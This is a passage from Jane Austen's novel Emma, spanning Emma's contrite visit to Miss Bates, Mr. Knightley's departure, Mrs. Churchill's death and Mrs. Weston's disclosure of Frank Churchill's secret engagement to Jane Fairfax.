fond affection and confiding esteem, she could not, in her +general conduct, be open to any severe reproach. As a daughter, +she hoped she was not without a heart. She hoped no one could +have said to her, "How could you be so unfeeling to your father?-- +I must, I will tell you truths while I can." Miss Bates should +never again--no, never! If attention, in future, could do away +the past, she might hope to be forgiven. She had been often remiss, +her conscience told her so; remiss, perhaps, more in thought +than fact; scornful, ungracious. But it should be so no more. +In the warmth of true contrition, she would call upon her the +very next morning, and it should be the beginning, on her side, +of a regular, equal, kindly intercourse. + +She was just as determined when the morrow came, and went early, +that nothing might prevent her. It was not unlikely, she thought, +that she might see Mr. Knightley in her way; or, perhaps, he might +come in while she were paying her visit. She had no objection. +She would not be ashamed of the appearance of the penitence, so justly +and truly hers. Her eyes were towards Donwell as she walked, but she +saw him not. + +"The ladies were all at home." She had never rejoiced at the sound +before, nor ever before entered the passage, nor walked up the stairs, +with any wish of giving pleasure, but in conferring obligation, +or of deriving it, except in subsequent ridicule. + +There was a bustle on her approach; a good deal of moving and talking. +She heard Miss Bates's voice, something was to be done in a hurry; +the maid looked frightened and awkward; hoped she would be pleased +to wait a moment, and then ushered her in too soon. The aunt and +niece seemed both escaping into the adjoining room. Jane she had +a distinct glimpse of, looking extremely ill; and, before the door +had shut them out, she heard Miss Bates saying, "Well, my dear, +I shall _say_ you are laid down upon the bed, and I am sure you are +ill enough." + +Poor old Mrs. Bates, civil and humble as usual, looked as if she +did not quite understand what was going on. + +"I am afraid Jane is not very well," said she, "but I do not know; +they _tell_ me she is well. I dare say my daughter will be here presently, +Miss Woodhouse. I hope you find a chair. I wish Hetty had not gone. +I am very little able--Have you a chair, ma'am? Do you sit where +you like? I am sure she will be here presently." + +Emma seriously hoped she would. She had a moment's fear of Miss +Bates keeping away from her. But Miss Bates soon came--"Very happy +and obliged"--but Emma's conscience told her that there was not the +same cheerful volubility as before--less ease of look and manner. +A very friendly inquiry after Miss Fairfax, she hoped, might lead +the way to a return of old feelings. The touch seemed immediate. + +"Ah! Miss Woodhouse, how kind you are!--I suppose you have heard-- +and are come to give us joy. This does not seem much like joy, +indeed, in me--(twinkling away a tear or two)--but it will be +very trying for us to part with her, after having had her so long, +and she has a dreadful headache just now, writing all the morning:-- +such long letters, you know, to be written to Colonel Campbell, +and Mrs. Dixon. `My dear,' said I, `you will blind yourself'-- +for tears were in her eyes perpetually. One cannot wonder, +one cannot wonder. It is a great change; and though she is +amazingly fortunate--such a situation, I suppose, as no young woman +before ever met with on first going out--do not think us ungrateful, +Miss Woodhouse, for such surprising good fortune--(again dispersing +her tears)--but, poor dear soul! if you were to see what a headache +she has. When one is in great pain, you know one cannot feel +any blessing quite as it may deserve. She is as low as possible. +To look at her, nobody would think how delighted and happy she +is to have secured such a situation. You will excuse her not +coming to you--she is not able--she is gone into her own room-- +I want her to lie down upon the bed. `My dear,' said I, `I shall +say you are laid down upon the bed:' but, however, she is not; +she is walking about the room. But, now that she has written +her letters, she says she shall soon be well. She will be extremely +sorry to miss seeing you, Miss Woodhouse, but your kindness will +excuse her. You were kept waiting at the door--I was quite ashamed-- +but somehow there was a little bustle--for it so happened that we +had not heard the knock, and till you were on the stairs, we did +not know any body was coming. `It is only Mrs. Cole,' said I, +`depend upon it. Nobody else would come so early.' `Well,' said she, +`it must be borne some time or other, and it may as well be now.' +But then Patty came in, and said it was you. `Oh!' said I, +`it is Miss Woodhouse: I am sure you will like to see her.'-- +`I can see nobody,' said she; and up she got, and would go away; +and that was what made us keep you waiting--and extremely sorry +and ashamed we were. `If you must go, my dear,' said I, `you must, +and I will say you are laid down upon the bed.'" + +Emma was most sincerely interested. Her heart had been long growing +kinder towards Jane; and this picture of her present sufferings acted +as a cure of every former ungenerous suspicion, and left her nothing +but pity; and the remembrance of the less just and less gentle +sensations of the past, obliged her to admit that Jane might very +naturally resolve on seeing Mrs. Cole or any other steady friend, +when she might not bear to see herself. She spoke as she felt, +with earnest regret and solicitude--sincerely wishing that the +circumstances which she collected from Miss Bates to be now actually +determined on, might be as much for Miss Fairfax's advantage +and comfort as possible. "It must be a severe trial to them all. +She had understood it was to be delayed till Colonel Campbell's return." + +"So very kind!" replied Miss Bates. "But you are always kind." + +There was no bearing such an "always;" and to break through her +dreadful gratitude, Emma made the direct inquiry of-- + +"Where--may I ask?--is Miss Fairfax going?" + +"To a Mrs. Smallridge--charming woman--most superior--to have +the charge of her three little girls--delightful children. +Impossible that any situation could be more replete with comfort; +if we except, perhaps, Mrs. Suckling's own family, and Mrs. Bragge's; +but Mrs. Smallridge is intimate with both, and in the very +same neighbourhood:--lives only four miles from Maple Grove. +Jane will be only four miles from Maple Grove." + +"Mrs. Elton, I suppose, has been the person to whom Miss Fairfax owes--" + +"Yes, our good Mrs. Elton. The most indefatigable, true friend. +She would not take a denial. She would not let Jane say, `No;' for +when Jane first heard of it, (it was the day before yesterday, +the very morning we were at Donwell,) when Jane first heard of it, +she was quite decided against accepting the offer, and for the +reasons you mention; exactly as you say, she had made up her mind +to close with nothing till Colonel Campbell's return, and nothing +should induce her to enter into any engagement at present--and so she +told Mrs. Elton over and over again--and I am sure I had no more +idea that she would change her mind!--but that good Mrs. Elton, +whose judgment never fails her, saw farther than I did. It is not +every body that would have stood out in such a kind way as she did, +and refuse to take Jane's answer; but she positively declared she +would _not_ write any such denial yesterday, as Jane wished her; +she would wait--and, sure enough, yesterday evening it was all +settled that Jane should go. Quite a surprize to me! I had not +the least idea!--Jane took Mrs. Elton aside, and told her at once, +that upon thinking over the advantages of Mrs. Smallridge's situation, +she had come to the resolution of accepting it.--I did not know a word +of it till it was all settled." + +"You spent the evening with Mrs. Elton?" + +"Yes, all of us; Mrs. Elton would have us come. It was settled so, +upon the hill, while we were walking about with Mr. Knightley. +`You _must_ _all_ spend your evening with us,' said she--`I positively must +have you _all_ come.'" + +"Mr. Knightley was there too, was he?" + +"No, not Mr. Knightley; he declined it from the first; and though I +thought he would come, because Mrs. Elton declared she would not let +him off, he did not;--but my mother, and Jane, and I, were all there, +and a very agreeable evening we had. Such kind friends, you know, +Miss Woodhouse, one must always find agreeable, though every body +seemed rather fagged after the morning's party. Even pleasure, +you know, is fatiguing--and I cannot say that any of them seemed +very much to have enjoyed it. However, _I_ shall always think it +a very pleasant party, and feel extremely obliged to the kind friends +who included me in it." + +"Miss Fairfax, I suppose, though you were not aware of it, had been +making up her mind the whole day?" + +"I dare say she had." + +"Whenever the time may come, it must be unwelcome to her and all +her friends--but I hope her engagement will have every alleviation +that is possible--I mean, as to the character and manners of the family." + +"Thank you, dear Miss Woodhouse. Yes, indeed, there is every thing +in the world that can make her happy in it. Except the Sucklings +and Bragges, there is not such another nursery establishment, +so liberal and elegant, in all Mrs. Elton's acquaintance. +Mrs. Smallridge, a most delightful woman!--A style of living almost +equal to Maple Grove--and as to the children, except the little +Sucklings and little Bragges, there are not such elegant sweet +children anywhere. Jane will be treated with such regard and kindness!-- +It will be nothing but pleasure, a life of pleasure.--And her salary!-- +I really cannot venture to name her salary to you, Miss Woodhouse. +Even you, used as you are to great sums, would hardly believe that +so much could be given to a young person like Jane." + +"Ah! madam," cried Emma, "if other children are at all like what I +remember to have been myself, I should think five times the amount +of what I have ever yet heard named as a salary on such occasions, +dearly earned." + +"You are so noble in your ideas!" + +"And when is Miss Fairfax to leave you?" + +"Very soon, very soon, indeed; that's the worst of it. +Within a fortnight. Mrs. Smallridge is in a great hurry. My poor +mother does not know how to bear it. So then, I try to put it out of +her thoughts, and say, Come ma'am, do not let us think about it any more." + +"Her friends must all be sorry to lose her; and will not Colonel +and Mrs. Campbell be sorry to find that she has engaged herself +before their return?" + +"Yes; Jane says she is sure they will; but yet, this is such +a situation as she cannot feel herself justified in declining. +I was so astonished when she first told me what she had been saying +to Mrs. Elton, and when Mrs. Elton at the same moment came congratulating +me upon it! It was before tea--stay--no, it could not be before tea, +because we were just going to cards--and yet it was before tea, +because I remember thinking--Oh! no, now I recollect, now I have it; +something happened before tea, but not that. Mr. Elton was called +out of the room before tea, old John Abdy's son wanted to speak +with him. Poor old John, I have a great regard for him; he was clerk +to my poor father twenty-seven years; and now, poor old man, he is +bed-ridden, and very poorly with the rheumatic gout in his joints-- +I must go and see him to-day; and so will Jane, I am sure, if she +gets out at all. And poor John's son came to talk to Mr. Elton +about relief from the parish; he is very well to do himself, +you know, being head man at the Crown, ostler, and every thing +of that sort, but still he cannot keep his father without some help; +and so, when Mr. Elton came back, he told us what John ostler +had been telling him, and then it came out about the chaise having +been sent to Randalls to take Mr. Frank Churchill to Richmond. +That was what happened before tea. It was after tea that Jane spoke +to Mrs. Elton." + +Miss Bates would hardly give Emma time to say how perfectly +new this circumstance was to her; but as without supposing it +possible that she could be ignorant of any of the particulars +of Mr. Frank Churchill's going, she proceeded to give them all, +it was of no consequence. + +What Mr. Elton had learned from the ostler on the subject, being the +accumulation of the ostler's own knowledge, and the knowledge +of the servants at Randalls, was, that a messenger had come over +from Richmond soon after the return of the party from Box Hill-- +which messenger, however, had been no more than was expected; +and that Mr. Churchill had sent his nephew a few lines, containing, +upon the whole, a tolerable account of Mrs. Churchill, and only +wishing him not to delay coming back beyond the next morning early; +but that Mr. Frank Churchill having resolved to go home directly, +without waiting at all, and his horse seeming to have got a cold, +Tom had been sent off immediately for the Crown chaise, and the +ostler had stood out and seen it pass by, the boy going a good pace, +and driving very steady. + +There was nothing in all this either to astonish or interest, +and it caught Emma's attention only as it united with the subject +which already engaged her mind. The contrast between Mrs. Churchill's +importance in the world, and Jane Fairfax's, struck her; one was +every thing, the other nothing--and she sat musing on the difference +of woman's destiny, and quite unconscious on what her eyes were fixed, +till roused by Miss Bates's saying, + +"Aye, I see what you are thinking of, the pianoforte. What is to become +of that?--Very true. Poor dear Jane was talking of it just now.-- +`You must go,' said she. `You and I must part. You will have no +business here.--Let it stay, however,' said she; `give it houseroom +till Colonel Campbell comes back. I shall talk about it to him; +he will settle for me; he will help me out of all my difficulties.'-- +And to this day, I do believe, she knows not whether it was his +present or his daughter's." + +Now Emma was obliged to think of the pianoforte; and the remembrance +of all her former fanciful and unfair conjectures was so little pleasing, +that she soon allowed herself to believe her visit had been +long enough; and, with a repetition of every thing that she could +venture to say of the good wishes which she really felt, took leave. + + + +CHAPTER IX + + +Emma's pensive meditations, as she walked home, were not interrupted; +but on entering the parlour, she found those who must rouse her. +Mr. Knightley and Harriet had arrived during her absence, and were +sitting with her father.--Mr. Knightley immediately got up, and in a +manner decidedly graver than usual, said, + +"I would not go away without seeing you, but I have no time to spare, +and therefore must now be gone directly. I am going to London, +to spend a few days with John and Isabella. Have you any thing to +send or say, besides the `love,' which nobody carries?" + +"Nothing at all. But is not this a sudden scheme?" + +"Yes--rather--I have been thinking of it some little time." + +Emma was sure he had not forgiven her; he looked unlike himself. +Time, however, she thought, would tell him that they ought to be +friends again. While he stood, as if meaning to go, but not going-- +her father began his inquiries. + +"Well, my dear, and did you get there safely?--And how did you +find my worthy old friend and her daughter?--I dare say they must +have been very much obliged to you for coming. Dear Emma has been +to call on Mrs. and Miss Bates, Mr. Knightley, as I told you before. +She is always so attentive to them!" + +Emma's colour was heightened by this unjust praise; and with a smile, +and shake of the head, which spoke much, she looked at Mr. Knightley.-- +It seemed as if there were an instantaneous impression in her favour, +as if his eyes received the truth from her's, and all that had +passed of good in her feelings were at once caught and honoured.-- +He looked at her with a glow of regard. She was warmly gratified-- +and in another moment still more so, by a little movement of +more than common friendliness on his part.--He took her hand;-- +whether she had not herself made the first motion, she could not say-- +she might, perhaps, have rather offered it--but he took her hand, +pressed it, and certainly was on the point of carrying it to his lips-- +when, from some fancy or other, he suddenly let it go.--Why he should feel +such a scruple, why he should change his mind when it was all but done, +she could not perceive.--He would have judged better, she thought, +if he had not stopped.--The intention, however, was indubitable; +and whether it was that his manners had in general so little gallantry, +or however else it happened, but she thought nothing became him more.-- +It was with him, of so simple, yet so dignified a nature.-- +She could not but recall the attempt with great satisfaction. +It spoke such perfect amity.--He left them immediately afterwards-- +gone in a moment. He always moved with the alertness of a mind which +could neither be undecided nor dilatory, but now he seemed more sudden +than usual in his disappearance. + +Emma could not regret her having gone to Miss Bates, but she wished +she had left her ten minutes earlier;--it would have been a great +pleasure to talk over Jane Fairfax's situation with Mr. Knightley.-- +Neither would she regret that he should be going to Brunswick Square, +for she knew how much his visit would be enjoyed--but it might have +happened at a better time--and to have had longer notice of it, +would have been pleasanter.--They parted thorough friends, however; +she could not be deceived as to the meaning of his countenance, +and his unfinished gallantry;--it was all done to assure her that she +had fully recovered his good opinion.--He had been sitting with them +half an hour, she found. It was a pity that she had not come +back earlier! + +In the hope of diverting her father's thoughts from the disagreeableness +of Mr. Knightley's going to London; and going so suddenly; +and going on horseback, which she knew would be all very bad; +Emma communicated her news of Jane Fairfax, and her dependence +on the effect was justified; it supplied a very useful check,-- +interested, without disturbing him. He had long made up his mind to Jane +Fairfax's going out as governess, and could talk of it cheerfully, +but Mr. Knightley's going to London had been an unexpected blow. + +"I am very glad, indeed, my dear, to hear she is to be so +comfortably settled. Mrs. Elton is very good-natured and agreeable, +and I dare say her acquaintance are just what they ought +to be. I hope it is a dry situation, and that her health +will be taken good care of. It ought to be a first object, +as I am sure poor Miss Taylor's always was with me. You know, +my dear, she is going to be to this new lady what Miss Taylor +was to us. And I hope she will be better off in one respect, +and not be induced to go away after it has been her home so long." + +The following day brought news from Richmond to throw every +thing else into the background. An express arrived at Randalls +to announce the death of Mrs. Churchill! Though her nephew +had had no particular reason to hasten back on her account, +she had not lived above six-and-thirty hours after his return. +A sudden seizure of a different nature from any thing foreboded +by her general state, had carried her off after a short struggle. +The great Mrs. Churchill was no more. + +It was felt as such things must be felt. Every body had a +degree of gravity and sorrow; tenderness towards the departed, +solicitude for the surviving friends; and, in a reasonable time, +curiosity to know where she would be buried. Goldsmith tells us, +that when lovely woman stoops to folly, she has nothing to do +but to die; and when she stoops to be disagreeable, it is equally +to be recommended as a clearer of ill-fame. Mrs. Churchill, +after being disliked at least twenty-five years, was now spoken of +with compassionate allowances. In one point she was fully justified. +She had never been admitted before to be seriously ill. The event +acquitted her of all the fancifulness, and all the selfishness +of imaginary complaints. + +"Poor Mrs. Churchill! no doubt she had been suffering a great deal: +more than any body had ever supposed--and continual pain would try +the temper. It was a sad event--a great shock--with all her faults, +what would Mr. Churchill do without her? Mr. Churchill's loss +would be dreadful indeed. Mr. Churchill would never get over it."-- +Even Mr. Weston shook his head, and looked solemn, and said, +"Ah! poor woman, who would have thought it!" and resolved, that his +mourning should be as handsome as possible; and his wife sat sighing +and moralising over her broad hems with a commiseration and good sense, +true and steady. How it would affect Frank was among the earliest +thoughts of both. It was also a very early speculation with Emma. +The character of Mrs. Churchill, the grief of her husband--her mind +glanced over them both with awe and compassion--and then rested +with lightened feelings on how Frank might be affected by the event, +how benefited, how freed. She saw in a moment all the possible good. +Now, an attachment to Harriet Smith would have nothing to encounter. +Mr. Churchill, independent of his wife, was feared by nobody; +an easy, guidable man, to be persuaded into any thing by his nephew. +All that remained to be wished was, that the nephew should form +the attachment, as, with all her goodwill in the cause, Emma could feel +no certainty of its being already formed. + +Harriet behaved extremely well on the occasion, with great self-command. +What ever she might feel of brighter hope, she betrayed nothing. Emma was +gratified, to observe such a proof in her of strengthened character, +and refrained from any allusion that might endanger its maintenance. +They spoke, therefore, of Mrs. Churchill's death with mutual forbearance. + +Short letters from Frank were received at Randalls, communicating +all that was immediately important of their state and plans. +Mr. Churchill was better than could be expected; and their +first removal, on the departure of the funeral for Yorkshire, +was to be to the house of a very old friend in Windsor, to whom +Mr. Churchill had been promising a visit the last ten years. +At present, there was nothing to be done for Harriet; good wishes +for the future were all that could yet be possible on Emma's side. + +It was a more pressing concern to shew attention to Jane Fairfax, +whose prospects were closing, while Harriet's opened, and whose +engagements now allowed of no delay in any one at Highbury, who wished +to shew her kindness--and with Emma it was grown into a first wish. +She had scarcely a stronger regret than for her past coldness; +and the person, whom she had been so many months neglecting, was now +the very one on whom she would have lavished every distinction of +regard or sympathy. She wanted to be of use to her; wanted to shew +a value for her society, and testify respect and consideration. +She resolved to prevail on her to spend a day at Hartfield. +A note was written to urge it. The invitation was refused, and by +a verbal message. "Miss Fairfax was not well enough to write;" +and when Mr. Perry called at Hartfield, the same morning, +it appeared that she was so much indisposed as to have been visited, +though against her own consent, by himself, and that she was suffering +under severe headaches, and a nervous fever to a degree, which made +him doubt the possibility of her going to Mrs. Smallridge's at the +time proposed. Her health seemed for the moment completely deranged-- +appetite quite gone--and though there were no absolutely +alarming symptoms, nothing touching the pulmonary complaint, +which was the standing apprehension of the family, Mr. Perry was +uneasy about her. He thought she had undertaken more than she +was equal to, and that she felt it so herself, though she would +not own it. Her spirits seemed overcome. Her present home, +he could not but observe, was unfavourable to a nervous disorder:-- +confined always to one room;--he could have wished it otherwise-- +and her good aunt, though his very old friend, he must acknowledge +to be not the best companion for an invalid of that description. +Her care and attention could not be questioned; they were, in fact, +only too great. He very much feared that Miss Fairfax derived more +evil than good from them. Emma listened with the warmest concern; +grieved for her more and more, and looked around eager to discover +some way of being useful. To take her--be it only an hour +or two--from her aunt, to give her change of air and scene, +and quiet rational conversation, even for an hour or two, +might do her good; and the following morning she wrote again to say, +in the most feeling language she could command, that she would +call for her in the carriage at any hour that Jane would name-- +mentioning that she had Mr. Perry's decided opinion, in favour +of such exercise for his patient. The answer was only in this +short note: + +"Miss Fairfax's compliments and thanks, but is quite unequal +to any exercise." + +Emma felt that her own note had deserved something better; but it +was impossible to quarrel with words, whose tremulous inequality +shewed indisposition so plainly, and she thought only of how she +might best counteract this unwillingness to be seen or assisted. +In spite of the answer, therefore, she ordered the carriage, and drove +to Mrs. Bates's, in the hope that Jane would be induced to join her-- +but it would not do;--Miss Bates came to the carriage door, all gratitude, +and agreeing with her most earnestly in thinking an airing might be of +the greatest service--and every thing that message could do was tried-- +but all in vain. Miss Bates was obliged to return without success; +Jane was quite unpersuadable; the mere proposal of going out +seemed to make her worse.--Emma wished she could have seen her, +and tried her own powers; but, almost before she could hint the wish, +Miss Bates made it appear that she had promised her niece on +no account to let Miss Woodhouse in. "Indeed, the truth was, +that poor dear Jane could not bear to see any body--any body at all-- +Mrs. Elton, indeed, could not be denied--and Mrs. Cole had made +such a point--and Mrs. Perry had said so much--but, except them, +Jane would really see nobody." + +Emma did not want to be classed with the Mrs. Eltons, the Mrs. Perrys, +and the Mrs. Coles, who would force themselves anywhere; +neither could she feel any right of preference herself-- +she submitted, therefore, and only questioned Miss Bates farther +as to her niece's appetite and diet, which she longed to be able +to assist. On that subject poor Miss Bates was very unhappy, +and very communicative; Jane would hardly eat any thing:-- +Mr. Perry recommended nourishing food; but every thing they could +command (and never had any body such good neighbours) was distasteful. + +Emma, on reaching home, called the housekeeper directly, to an +examination of her stores; and some arrowroot of very superior quality +was speedily despatched to Miss Bates with a most friendly note. +In half an hour the arrowroot was returned, with a thousand thanks +from Miss Bates, but "dear Jane would not be satisfied without its +being sent back; it was a thing she could not take--and, moreover, +she insisted on her saying, that she was not at all in want of any thing." + +When Emma afterwards heard that Jane Fairfax had been seen wandering +about the meadows, at some distance from Highbury, on the afternoon +of the very day on which she had, under the plea of being unequal +to any exercise, so peremptorily refused to go out with her in +the carriage, she could have no doubt--putting every thing together-- +that Jane was resolved to receive no kindness from _her_. She was sorry, +very sorry. Her heart was grieved for a state which seemed +but the more pitiable from this sort of irritation of spirits, +inconsistency of action, and inequality of powers; and it mortified +her that she was given so little credit for proper feeling, or esteemed +so little worthy as a friend: but she had the consolation of knowing +that her intentions were good, and of being able to say to herself, +that could Mr. Knightley have been privy to all her attempts +of assisting Jane Fairfax, could he even have seen into her heart, +he would not, on this occasion, have found any thing to reprove. + + + +CHAPTER X + + +One morning, about ten days after Mrs. Churchill's decease, +Emma was called downstairs to Mr. Weston, who "could not stay +five minutes, and wanted particularly to speak with her."-- +He met her at the parlour-door, and hardly asking her how she did, +in the natural key of his voice, sunk it immediately, to say, +unheard by her father, + +"Can you come to Randalls at any time this morning?--Do, if it +be possible. Mrs. Weston wants to see you. She must see you." + +"Is she unwell?" + +"No, no, not at all--only a little agitated. She would have +ordered the carriage, and come to you, but she must see you _alone_, +and that you know--(nodding towards her father)--Humph!--Can you come?" + +"Certainly. This moment, if you please. It is impossible to +refuse what you ask in such a way. But what can be the matter?-- +Is she really not ill?" + +"Depend upon me--but ask no more questions. You will know it +all in time. The most unaccountable business! But hush, hush!" + +To guess what all this meant, was impossible even for Emma. +Something really important seemed announced by his looks; +but, as her friend was well, she endeavoured not to be uneasy, +and settling it with her father, that she would take her walk now, +she and Mr. Weston were soon out of the house together and on +their way at a quick pace for Randalls. + +"Now,"--said Emma, when they were fairly beyond the sweep gates,-- +"now Mr. Weston, do let me know what has happened." + +"No, no,"--he gravely replied.--"Don't ask me. I promised my wife +to leave it all to her. She will break it to you better than I can. +Do not be impatient, Emma; it will all come out too soon." + +"Break it to me," cried Emma, standing still with terror.-- +"Good God!--Mr. Weston, tell me at once.--Something has happened +in Brunswick Square. I know it has. Tell me, I charge you tell +me this moment what it is." + +"No, indeed you are mistaken."-- + +"Mr. Weston do not trifle with me.--Consider how many of my dearest +friends are now in Brunswick Square. Which of them is it?-- +I charge you by all that is sacred, not to attempt concealment." + +"Upon my word, Emma."-- + +"Your word!--why not your honour!--why not say upon your honour, +that it has nothing to do with any of them? Good Heavens!--What can +be to be _broke_ to me, that does not relate to one of that family?" + +"Upon my honour," said he very seriously, "it does not. It is not +in the smallest degree connected with any human being of the name +of Knightley." + +Emma's courage returned, and she walked on. + +"I was wrong," he continued, "in talking of its being _broke_ to you. +I should not have used the expression. In fact, it does not concern you-- +it concerns only myself,--that is, we hope.--Humph!--In short, +my dear Emma, there is no occasion to be so uneasy about it. +I don't say that it is not a disagreeable business--but things might +be much worse.--If we walk fast, we shall soon be at Randalls." + +Emma found that she must wait; and now it required little effort. +She asked no more questions therefore, merely employed her own fancy, +and that soon pointed out to her the probability of its being some +money concern--something just come to light, of a disagreeable +nature in the circumstances of the family,--something which the late +event at Richmond had brought forward. Her fancy was very active. +Half a dozen natural children, perhaps--and poor Frank cut off!-- +This, though very undesirable, would be no matter of agony to her. +It inspired little more than an animating curiosity. + +"Who is that gentleman on horseback?" said she, as they proceeded-- +speaking more to assist Mr. Weston in keeping his secret, than with +any other view. + +"I do not know.--One of the Otways.--Not Frank;--it is not Frank, +I assure you. You will not see him. He is half way to Windsor +by this time." + +"Has your son been with you, then?" + +"Oh! yes--did not you know?--Well, well, never mind." + +For a moment he was silent; and then added, in a tone much more +guarded and demure, + +"Yes, Frank came over this morning, just to ask us how we did." + +They hurried on, and were speedily at Randalls.--"Well, my dear," +said he, as they entered the room--"I have brought her, and now +I hope you will soon be better. I shall leave you together. +There is no use in delay. I shall not be far off, if you want me."-- +And Emma distinctly heard him add, in a lower tone, before he +quitted the room,--"I have been as good as my word. She has not the +least idea." + +Mrs. Weston was looking so ill, and had an air of so much perturbation, +that Emma's uneasiness increased; and the moment they were alone, +she eagerly said, + +"What is it my dear friend? Something of a very unpleasant nature, +I find, has occurred;--do let me know directly what it is. +I have been walking all this way in complete suspense. We both +abhor suspense. Do not let mine continue longer. It will do you +good to speak of your distress, whatever it may be." + +"Have you indeed no idea?" said Mrs. Weston in a trembling voice. +"Cannot you, my dear Emma--cannot you form a guess as to what you +are to hear?" + +"So far as that it relates to Mr. Frank Churchill, I do guess." + +"You are right. It does relate to him, and I will tell you directly;" +(resuming her work, and seeming resolved against looking up.) +"He has been here this very morning, on a most extraordinary errand. +It is impossible to express our surprize. He came to speak to his +father on a subject,--to announce an attachment--" + +She stopped to breathe. Emma thought first of herself, and then +of Harriet. + +"More than an attachment, indeed," resumed Mrs. Weston; "an engagement-- +a positive engagement.--What will you say, Emma--what will any +body say, when it is known that Frank Churchill and Miss Fairfax +are engaged;--nay, that they have been long engaged!" + +Emma even jumped with surprize;--and, horror-struck, exclaimed, + +"Jane Fairfax!--Good God! You are not serious? You do not mean it?" + +"You may well be amazed," returned Mrs. Weston, still averting her eyes, +and talking on with eagerness, that Emma might have time to recover-- +"You may well be amazed. But it is even so. There has been a solemn +engagement between them ever since October--formed at Weymouth, +and kept a secret from every body. Not a creature knowing it +but themselves--neither the Campbells, nor her family, nor his.-- +It is so wonderful, that though perfectly convinced of the fact, +it is yet almost incredible to myself. I can hardly believe it.-- +I thought I knew him." + +Emma scarcely heard what was said.--Her mind was divided between +two ideas--her own former conversations with him about Miss Fairfax; +and poor Harriet;--and for some time she could only exclaim, +and require confirmation, repeated confirmation. + +"Well," said she at last, trying to recover herself; "this is a +circumstance which I must think of at least half a day, before I +can at all comprehend it. What!--engaged to her all the winter-- +before either of them came to Highbury?" + +"Engaged since October,--secretly engaged.--It has hurt me, +Emma, very much. It has hurt his father equally. _Some_ _part_ +of his conduct we cannot excuse." + +Emma pondered a moment, and then replied, "I will not pretend +_not_ to understand you; and to give you all the relief in my power, +be assured that no such effect has followed his attentions to me, +as you are apprehensive of." + +Mrs. Weston looked up, afraid to believe; but Emma's countenance +was as steady as her words. + +"That you may have less difficulty in believing this boast, of my +present perfect indifference," she continued, "I will farther tell you, +that there was a period in the early part of our acquaintance, +when I did like him, when I was very much disposed to be +attached to him--nay, was attached--and how it came to cease, +is perhaps the wonder. Fortunately, however, it did cease. +I have really for some time past, for at least these three months, +cared nothing about him. You may believe me, Mrs. Weston. +This is the simple truth." + +Mrs. Weston kissed her with tears of joy; and when she could +find utterance, assured her, that this protestation had done +her more good than any thing else in the world could do. + +"Mr. Weston will be almost as much relieved as myself," said she. +"On this point we have been wretched. It was our darling wish that you +might be attached to each other--and we were persuaded that it was so.-- +Imagine what we have been feeling on your account." + +"I have escaped; and that I should escape, may be a matter of +grateful wonder to you and myself. But this does not acquit _him_, +Mrs. Weston; and I must say, that I think him greatly to blame. +What right had he to come among us with affection and faith engaged, +and with manners so _very_ disengaged? What right had he to endeavour +to please, as he certainly did--to distinguish any one young woman with +persevering attention, as he certainly did--while he really belonged +to another?--How could he tell what mischief he might be doing?-- +How could he tell that he might not be making me in love with him?-- +very wrong, very wrong indeed." + +"From something that he said, my dear Emma, I rather imagine--" + +"And how could _she_ bear such behaviour! Composure with a witness! +to look on, while repeated attentions were offering to another woman, +before her face, and not resent it.--That is a degree of placidity, +which I can neither comprehend nor respect." + +"There were misunderstandings between them, Emma; he said +so expressly. He had not time to enter into much explanation. +He was here only a quarter of an hour, and in a state of agitation +which did not allow the full use even of the time he could stay-- +but that there had been misunderstandings he decidedly said. +The present crisis, indeed, seemed to be brought on by them; +and those misunderstandings might very possibly arise from the +impropriety of his conduct." + +"Impropriety! Oh! Mrs. Weston--it is too calm a censure. +Much, much beyond impropriety!--It has sunk him, I cannot say how +it has sunk him in my opinion. So unlike what a man should be!-- +None of that upright integrity, that strict adherence to truth +and principle, that disdain of trick and littleness, which a man +should display in every transaction of his life." + +"Nay, dear Emma, now I must take his part; for though he has been +wrong in this instance, I have known him long enough to answer +for his having many, very many, good qualities; and--" + +"Good God!" cried Emma, not attending to her.--"Mrs. Smallridge, too! +Jane actually on the point of going as governess! What could he +mean by such horrible indelicacy? To suffer her to engage herself-- +to suffer her even to think of such a measure!" + +"He knew nothing about it, Emma. On this article I can fully +acquit him. It was a private resolution of hers, not communicated +to him--or at least not communicated in a way to carry conviction.-- +Till yesterday, I know he said he was in the dark as to her plans. +They burst on him, I do not know how, but by some letter or message-- +and it was the discovery of what she was doing, of this very project +of hers, which determined him to come forward at once, own it +all to his uncle, throw himself on his kindness, and, in short, +put an end to the miserable state of concealment that had been +carrying on so long." + +Emma began to listen better. + +"I am to hear from him soon," continued Mrs. Weston. "He told me +at parting, that he should soon write; and he spoke in a manner which +seemed to promise me many particulars that could not be given now. +Let us wait, therefore, for this letter. It may bring many extenuations. +It may make many things intelligible and excusable which now are +not to be understood. Don't let us be severe, don't let us be in +a hurry to condemn him. Let us have patience. I must love him; +and now that I am satisfied on one point, the one material point, +I am sincerely anxious for its all turning out well, and ready +to hope that it may. They must both have suffered a great deal +under such a system of secresy and concealment." + +"_His_ sufferings," replied Emma dryly, "do not appear to have done +him much harm. Well, and how did Mr. Churchill take it?" + +"Most favourably for his nephew--gave his consent with scarcely +a difficulty. Conceive what the events of a week have done +in that family! While poor Mrs. Churchill lived, I suppose there +could not have been a hope, a chance, a possibility;--but scarcely +are her remains at rest in the family vault, than her husband is +persuaded to act exactly opposite to what she would have required. +What a blessing it is, when undue influence does not survive the grave!-- +He gave his consent with very little persuasion." + +"Ah!" thought Emma, "he would have done as much for Harriet." + +"This was settled last night, and Frank was off with the light +this morning. He stopped at Highbury, at the Bates's, I fancy, +some time--and then came on hither; but was in such a hurry to get +back to his uncle, to whom he is just now more necessary than ever, +that, as I tell you, he could stay with us but a quarter of an hour.-- +He was very much agitated--very much, indeed--to a degree that made +him appear quite a different creature from any thing I had ever seen +him before.--In addition to all the rest, there had been the shock of +finding her so very unwell, which he had had no previous suspicion of-- +and there was every appearance of his having been feeling a great deal." + +"And do you really believe the affair to have been carrying on +with such perfect secresy?--The Campbells, the Dixons, did none +of them know of the engagement?" + +Emma could not speak the name of Dixon without a little blush. + +"None; not one. He positively said that it had been known to no +being in the world but their two selves." + +"Well," said Emma, "I suppose we shall gradually grow reconciled +to the idea, and I wish them very happy. But I shall always +think it a very abominable sort of proceeding. What has it been +but a system of hypocrisy and deceit,--espionage, and treachery?-- +To come among us with professions of openness and simplicity; +and such a league in secret to judge us all!--Here have we been, +the whole winter and spring, completely duped, fancying ourselves +all on an equal footing of truth and honour, with two people in the +midst of us who may have been carrying round, comparing and sitting +in judgment on sentiments and words that were never meant for both +to hear.--They must take the consequence, if they have heard each +other spoken of in a way not perfectly agreeable!" + +"I am quite easy on that head," replied Mrs. Weston. "I am +very sure 